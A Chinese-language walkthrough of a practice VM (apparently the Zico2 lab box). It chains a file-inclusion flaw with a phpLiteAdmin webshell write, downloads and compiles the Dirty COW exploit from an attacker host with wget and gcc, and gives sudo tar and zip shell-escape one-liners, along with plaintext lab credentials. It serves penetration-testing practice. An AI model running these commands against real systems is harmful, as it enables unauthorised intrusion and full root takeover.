环境搭建
靶机用 vtrtualbox 打开,攻击机随意,其他网络配置和前几个靶机一样。
信息收集
三个端口。
没见过 111 端口,看下是什么服务,rpc 服务。
主要用于分布式系统中不同计算机的内部进程通信。
跑一下目录,顺便测一下网页。
这边能够文件读取。
跑出来的目录还不少。
漏洞挖掘
/dbadmin/test_db.php
尝试密码 admin
成功,且 1.9.3 版本是有远程php代码执行漏洞的,但是这个数据库的目录我们访问不了,但是我们可以通过上面那个文件读取漏洞,来包含它,这样不就可以执行命令了吗。
先创个数据库,然后创一个有 PHP 马的表。
成功命令执行,反弹个 shell。
给它 url 编码一下。
反弹成功。
脏牛提权
先用 python 开个简单的交互 shell。
test_user 中有两个账密,尝试 ssh 登录失败。
root:34kroot34
zico:zico2215@
查一下 suid
切换不了用户,直接漏洞探针探一波,具体怎么探,看一下我的渗透练习(七),把探针传到 /usr/databases 目录下,给执行权限,执行。
chmod +x linux-exploit-suggester.sh
利用脏牛提权,上传脚本,编译并执行。
wget http://192.168.56.102/40839.c
gcc -pthread 40839.c -o dirty -lcrypt
./dirty 12345
要等好一会。
成功添加 root 权限用户 firefart
root 成功。
拿到 flag。
其他提权
在 wordpress 的配置文件中有 zico 的账密。
zico
sWfCsfJSPV9H3AmQzw8
成功切换为 zico。
sudo -l 时候,说没有 root 用户,那是因为脏牛提权的时候,root 用户变成了 firefart 用户,我们只需要把脏牛提权的时候生成的 passwd 备份文件覆盖当前的 /etc/passwd 就行了。
先切换成 firefart 用户,执行 mv /tmp/passwd.bak /etc/passwd
命令后,root 用户就恢复了。
这次 sudo -l 成功,可以看到两个 root 权限的命令,tar 和 zip。
tar 提权
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
zip 提权T
直接利用 zico 目录下的 to_do.txt 压缩提权。
sudo -u root zip to_do.zip to_do.txt -T --unzip-command="sh -c /bin/bash"
总结
文件包含+数据库文件写马 getshell
脏牛提权后恢复 root 用户(切换为 firefart 用户执行 mv /tmp/passwd.bak /etc/passwd)
tar 和 zip 提权
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo -u root zip to_do.zip to_do.txt -T --unzip-command="sh -c /bin/bash"